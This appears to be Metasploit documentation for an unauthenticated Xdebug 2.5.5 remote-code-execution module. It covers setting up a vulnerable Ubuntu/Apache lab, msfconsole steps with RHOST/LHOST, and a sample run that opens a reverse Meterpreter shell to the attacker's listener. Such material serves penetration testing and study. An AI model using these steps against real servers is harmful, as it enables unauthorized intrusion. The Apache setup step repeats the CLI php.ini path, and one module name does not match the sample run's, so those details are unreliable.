metasploit-gs/documentation/modules/exploit/unix/http/xdebug_unauth_exec.md

## Vulnerable Application

[Xdebug](https://xdebug.org/docs-dbgp.php) is an actively-maintained PHP debugging tool that supports remote debugging of server-side PHP code

This module exploits an unauthenticated vulnerability that allows for the upload of a PHP file and subsequent execution to provide a Meterpreter session back.  The module was tested on XDebug version 2.5.5

The vulnerability was discovered by [Ricter Zheng](https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface) (WARNING: This link is in Chinese.  [Google Translate version](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fricterz.me%2Fposts%2FXdebug%3A%20A%20Tiny%20Attack%20Surface))


### Setting up XDebug 2.5.5 on xUbuntu 16.04 x64 Desktop

Start with a LAMP server:

```
sudo apt update && sudo apt install -y tasksel
sudo tasksel install lamp-server
```

Now grab XDebug, specifically the version cited by @MinatoTW:
```
wget https://xdebug.org/files/xdebug-2.5.5.tgz
tar xvzf xdebug-2.5.5.tgz 
cd xdebug-2.5.5/
php -i
```

Paste the contents of your `php -i` output into [the XDebug installation wizard](https://xdebug.org/wizard.php), which gave me the following:

```
sudo apt install -y php7.0-dev
phpize && ./configure && make
sudo cp modules/xdebug.so /usr/lib/php/20151012/
```

The final step of the wizard is to configure `php.ini`:

```
sudo -s
cat >> /etc/php/7.0/cli/php.ini <<EOL
zend_extension = /usr/lib/php/20151012/xdebug.so
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_autostart = 0
xdebug.remote_connect_back = 1
xdebug.remote_port = 9000
xdebug.remote_host = 127.0.0.1
xdebug.profiler_enable=0
xdebug.profiler_enable_trigger=1
xdebug.profiler_output_dir="/tmp"`
EOL
exit
```

Now that the PHP CLI environment is configured, repeat the above steps for the Apache2 configuration:

```
sudo -s
cat >> /etc/php/7.0/cli/php.ini <<EOL
zend_extension = /usr/lib/php/20151012/xdebug.so
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_autostart = 0
xdebug.remote_connect_back = 1
xdebug.remote_port = 9000
xdebug.remote_host = 127.0.0.1
xdebug.profiler_enable=0
xdebug.profiler_enable_trigger=1
xdebug.profiler_output_dir="/tmp"`
EOL
exit
```

And restart Apache2 for good measure:
```
sudo service apache2 restart
```

And now test that XDebug is working:
```
php -r 'echo xdebug_time_index();'; echo
```

You should see a fairly small number, in my case `4.6014785766602E-5`, which indicates the number of seconds since the php script started, thus the incredibly small number.


## Verification Steps

- Start `msfconsole`
- `use exploits/unix/http/xdebug_rce`
- `check`
- `set RHOST 192.168.69.2`
- `set LHOST 192.168.69.1`
- `set VERBOSE true` (optional)
- `exploit`

## Scenarios

### XDebug 2.5.5 on Ubuntu 16.04 with Apache2 2.4.18

msf5 exploit(unix/http/xdebug_unauth_exec) > check

[*] 192.168.69.2:80 - Request sent
Date: Fri, 27 Apr 2018 21:00:37 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: XDEBUG_SESSION=WIO6hf4Wez; expires=Fri, 27-Apr-2018 22:00:37 GMT; Max-Age=3600; path=/
Content-Length: 16
Content-Type: text/html; charset=UTF-8


[+] 192.168.69.2:80 - Looks like remote server has xdebug enabled

[*] 192.168.69.2:80 The target service is running, but could not be validated.


msf5 exploit(unix/http/xdebug_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.69.1:4444
[*] 192.168.69.2:80 - Waiting for client response.
[*] 192.168.69.2:80 - Receiving response
508<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.0.28-0ubuntu0.16.04.1" protocol_version="1.0" appid="28166" idekey="5Gg6S9au8B"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
[*] 192.168.69.2:80 - Shell might take upto a minute to respond.Please be patient.
[*] 192.168.69.2:80 - Sending payload of size 2098 bytes
[*] Sending stage (37775 bytes) to 192.168.69.2
[*] Meterpreter session 1 opened (192.168.69.1:4444 -> 192.168.69.2:55506) at 2018-04-27 15:57:58 -0500
[+] 192.168.69.2:80 - Deleted /tmp/OLEaK